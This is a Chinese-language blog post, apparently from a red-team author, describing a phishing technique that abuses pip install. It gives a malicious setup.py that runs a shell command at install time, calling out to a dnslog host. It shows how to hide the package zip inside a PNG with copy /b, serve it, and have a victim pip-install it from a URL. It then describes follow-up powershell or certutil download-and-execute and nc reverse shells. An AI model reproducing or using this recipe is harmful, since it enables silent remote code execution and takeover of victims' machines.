钓鱼通常是内网渗透过程中的最为常见的入口方式,但是随着蓝队人员溯源反制思路开阔,入侵排查能力提升,钓鱼也越来越困难,这里就记一种不同寻常的钓鱼方式。
pip install 的执行流程:
- 先获取到远端的服务器地址 url 比如: http://mirrors.aliyun.com/pypi/simple/
- 然后获取到本地的库安装的路径,通过服务器 url 去查找对应的 django 包
- 讲找到的包下载到本地
- 解压该包到 python 的 site-packages 文件夹中,然后检查是否需要依赖其他包,如果依赖就安装其他的包
- 如果有依赖安装则按照同样的流程执行,待完成之后包就安装完成
这里可以看下 pip install 的执行过程
https://blog.csdn.net/qq_33339479/article/details/93094774
这里看下解压的代码,这里 down 下来解压代码如下
def unpack_file(
filename: str,
location: str,
content_type: Optional[str] = None,
) -> None:
filename = os.path.realpath(filename)
if (
content_type == "application/zip"
or filename.lower().endswith(ZIP_EXTENSIONS)
or zipfile.is_zipfile(filename)
):
unzip_file(filename, location, flatten=not filename.endswith(".whl"))
elif (
content_type == "application/x-gzip"
or tarfile.is_tarfile(filename)
or filename.lower().endswith(TAREXTENSIONS + BZ2EXTENSIONS + XZ_EXTENSIONS)
):
untar_file(filename, location)
else:
# FIXME: handle?
# FIXME: magic signatures?
logger.critical(
"Cannot unpack file %s (downloaded from %s, content-type: %s);"
"cannot detect archive format",
filename,
location,
content_type,
)
raise InstallationError(f"Cannot determine archive format of {location}")
这里先判断了 content-type、filename 的后缀,这里两个都不符合,这里看下最后这个是如何进行判断。需要注意的是,iszipfile() 函数并不会检查文件的扩展名或者文件头等信息来判断文件类型,而是会尝试解压文件并检查解压结果来确定文件是否为 ZIP 压缩文件。因此,即使将非 ZIP 压缩格式的文件的扩展名改为 ".zip",仍然不能通过 iszipfile() 函数的检查。
pip install package_name.zip
这种方式下,pip 会在解压缩安装包后自动执行 setup.py 文件进行安装。在安装过程中,setup.py 文件将会根据包内的 setup.cfg 和 setup.py 文件内容来设置包的安装参数。
所以就导致了静默的命令执行
pip install 引发的命令执行
漏洞复现
(1)先写一段代码
from setuptools import setup
import os
def test():
result = os.popen("ping 9uawvq.dnslog.cn")
print(result.read())
test()
setup(
name="root",
version="1.0"
)
(2)把 setup.py 先放到一个任意文件夹中,然后再将文件夹压缩成 zip 文件,然后再将 zip 文件和 png 图片压缩成 png 图片。(具体命令如下)
(3)然后起一个 http 服务,下图就可以直接访问到。
(4)虚拟机(受害机)直接执行 pip install "http://172.211.55.3/dog2.png" 这里写的命令是 ping dnslog 地址。这里 dnslog 成功接收到。
引发的钓鱼:
假设是 windows 系统上钩,那么我们可以让他执行 powershell 或者 certutils 来进行远程下载并落地执行。这里还是用之前的方法写 powershell 不落地执行的投毒。
这里把 setup.py 改为上述的代码,然后放入到任意文件夹下,然后进行压缩成 1.zip 然后执行代码
copy /b dog.png+1.zip dog2.png
然后肉鸡执行 pip install "http://xxxxx/dog2.png" 即可成功上线。
直接上线 linux(简单实用 nc 命令)
这里修改 setup.py 为如下内容,然后按照复现步骤,将文件夹生成文件。
然后用 pip install "http://xxx/dog2.png" 即可成功上线。